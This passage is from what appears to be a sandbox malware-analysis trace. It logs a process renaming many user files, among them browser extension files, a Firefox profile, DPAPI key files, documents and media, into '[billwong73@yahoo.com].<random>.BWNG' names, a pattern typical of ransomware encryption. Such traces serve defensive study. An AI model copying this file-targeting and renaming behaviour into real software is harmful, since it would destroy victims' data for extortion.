returned 0x11692fd [0135.007] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27695883288) returned 1 [0135.007] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\[billwong73@yahoo.com].LApb4f14-AinmcqmU.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\[billwong73@yahoo.com].lapb4f14-ainmcqmu.bwng"), dwFlags=0x1) returned 1 [0135.008] GetTickCount () returned 0x11692fd [0135.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27696037561) returned 1 [0135.008] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\[billwong73@yahoo.com].EtA1x3vf-dognhbFa.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\[billwong73@yahoo.com].eta1x3vf-dognhbfa.bwng"), dwFlags=0x1) returned 1 [0135.010] GetTickCount () returned 0x11692fd [0135.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27696193558) returned 1 [0135.010] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\[billwong73@yahoo.com].7ADaiKTM-4SChjJXV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\[billwong73@yahoo.com].7adaiktm-4schjjxv.bwng"), dwFlags=0x1) returned 1 [0135.011] GetTickCount () returned 0x11692fd [0135.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27696344764) returned 1 [0135.011] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\[billwong73@yahoo.com].DKKkqNZ1-XnZ8ccGU.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\[billwong73@yahoo.com].dkkkqnz1-xnz8ccgu.bwng"), dwFlags=0x1) returned 1 [0135.013] GetTickCount () returned 0x11692fd [0135.013] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27696503878) returned 1 [0135.013] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\[billwong73@yahoo.com].acRcoL8w-RH92Z0Er.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\[billwong73@yahoo.com].acrcol8w-rh92z0er.bwng"), dwFlags=0x1) returned 1 [0135.015] GetTickCount () returned 0x11692fd [0135.015] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27696683003) returned 1 [0135.015] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\[billwong73@yahoo.com].sJrrVLjd-kDKo19mV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\[billwong73@yahoo.com].sjrrvljd-kdko19mv.bwng"), dwFlags=0x1) returned 1 [0135.016] GetTickCount () returned 0x11692fd [0135.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27696828135) returned 1 [0135.016] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].xqtnaRim-F9CUV6pO.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].xqtnarim-f9cuv6po.bwng"), dwFlags=0x1) returned 1 [0135.017] GetTickCount () returned 0x11692fd [0135.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27696968023) returned 1 [0135.018] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\[billwong73@yahoo.com].B7Vl6lkt-BXyMr1d8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\[billwong73@yahoo.com].b7vl6lkt-bxymr1d8.bwng"), dwFlags=0x1) returned 1 [0135.083] GetTickCount () returned 0x116934b [0135.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27703538332) returned 1 [0135.084] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\[billwong73@yahoo.com].GZWea2ev-VSG4KlNp.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\[billwong73@yahoo.com].gzwea2ev-vsg4klnp.bwng"), dwFlags=0x1) returned 1 [0135.086] GetTickCount () returned 0x116934b [0135.086] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27703817493) returned 1 [0135.086] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\compatibility.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\compatibility.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].akiun8S6-bfJaqOSI.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].akiun8s6-bfjaqosi.bwng"), dwFlags=0x1) returned 1 [0135.088] GetTickCount () returned 0x116934b [0135.088] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27703994630) returned 1 [0135.088] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\nZir8XG.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\nzir8xg.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].LAbRERUV-9MHR9U4K.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].labreruv-9mhr9u4k.bwng"), dwFlags=0x1) returned 1 [0135.089] GetTickCount () returned 0x116934b [0135.089] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27704152533) returned 1 [0135.090] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_y-M8V2L1y3tT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_y-m8v2l1y3tt.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].qkQYeGin-oddObMzM.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].qkqyegin-oddobmzm.bwng"), dwFlags=0x1) returned 1 [0135.163] GetTickCount () returned 0x1169399 [0135.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27711564326) returned 1 [0135.164] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3Mx3ZW7bH.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3mx3zw7bh.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].tydfmJaY-QO5FdMV7.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].tydfmjay-qo5fdmv7.bwng"), dwFlags=0x1) returned 1 [0135.166] GetTickCount () returned 0x1169399 [0135.166] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27711844105) returned 1 [0135.167] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].vYoqjkBI-T7dKgigh.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].vyoqjkbi-t7dkgigh.bwng"), dwFlags=0x1) returned 1 [0135.168] GetTickCount () returned 0x1169399 [0135.168] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27712046377) returned 1 [0135.169] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\[billwong73@yahoo.com].th958u2u-KxtLnUoy.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\[billwong73@yahoo.com].th958u2u-kxtlnuoy.bwng"), dwFlags=0x1) returned 1 [0135.171] GetTickCount () returned 0x1169399 [0135.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27712364861) returned 1 [0135.172] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\[billwong73@yahoo.com].XjjQEKRN-KVgAY5El.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\[billwong73@yahoo.com].xjjqekrn-kvgay5el.bwng"), dwFlags=0x1) returned 1 [0135.173] GetTickCount () returned 0x1169399 [0135.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27712566218) returned 1 [0135.174] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\[billwong73@yahoo.com].08mvY5MU-vyY2T8tU.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\[billwong73@yahoo.com].08mvy5mu-vyy2t8tu.bwng"), dwFlags=0x1) returned 1 [0135.176] GetTickCount () returned 0x11693a8 [0135.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27712815195) returned 1 [0135.176] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\[billwong73@yahoo.com].aXSkOtK4-tNy8eIHG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\[billwong73@yahoo.com].axskotk4-tny8eihg.bwng"), dwFlags=0x1) returned 1 [0135.178] GetTickCount () returned 0x11693a8 [0135.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27712997171) returned 1 [0135.178] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\[billwong73@yahoo.com].4ZblLlNn-v6ZlPseR.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\[billwong73@yahoo.com].4zblllnn-v6zlpser.bwng"), dwFlags=0x1) returned 1 [0135.179] GetTickCount () returned 0x11693a8 [0135.180] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27713174198) returned 1 [0135.180] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\[billwong73@yahoo.com].4cMB9RXE-xsTFP0w0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\[billwong73@yahoo.com].4cmb9rxe-xstfp0w0.bwng"), dwFlags=0x1) returned 1 [0135.181] GetTickCount () returned 0x11693a8 [0135.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27713375019) returned 1 [0135.182] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network action predictor"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].2CUiNs8N-fxwTJgE8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].2cuins8n-fxwtjge8.bwng"), dwFlags=0x1) returned 1 [0135.183] GetTickCount () returned 0x11693a8 [0135.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27713547417) returned 1 [0135.184] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\[billwong73@yahoo.com].L5nSa4Y6-XSQfu9W6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\[billwong73@yahoo.com].l5nsa4y6-xsqfu9w6.bwng"), dwFlags=0x1) returned 1 [0135.185] GetTickCount () returned 0x11693a8 [0135.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27713703169) returned 1 [0135.185] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\[billwong73@yahoo.com].uTFFPAz6-4oueJhdm.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\[billwong73@yahoo.com].utffpaz6-4ouejhdm.bwng"), dwFlags=0x1) returned 1 [0135.187] GetTickCount () returned 0x11693a8 [0135.187] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27713882534) returned 1 [0135.187] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\[billwong73@yahoo.com].PecMqi5Q-lGdhgofz.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\[billwong73@yahoo.com].pecmqi5q-lgdhgofz.bwng"), dwFlags=0x1) returned 1 [0135.188] GetTickCount () returned 0x11693a8 [0135.188] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27714071087) returned 1 [0135.189] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\[billwong73@yahoo.com].NWpEfdvT-Th9RUqEu.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\[billwong73@yahoo.com].nwpefdvt-th9ruqeu.bwng"), dwFlags=0x1) returned 1 [0135.332] GetTickCount () returned 0x1169444 [0135.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27728467829) returned 1 [0135.333] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\[billwong73@yahoo.com].POHpPXDY-LuLqKayu.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\[billwong73@yahoo.com].pohppxdy-lulqkayu.bwng"), dwFlags=0x1) returned 1 [0135.335] GetTickCount () returned 0x1169444 [0135.335] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27728704502) returned 1 [0135.335] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\[billwong73@yahoo.com].lrVZhBZt-WPemzAMG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync 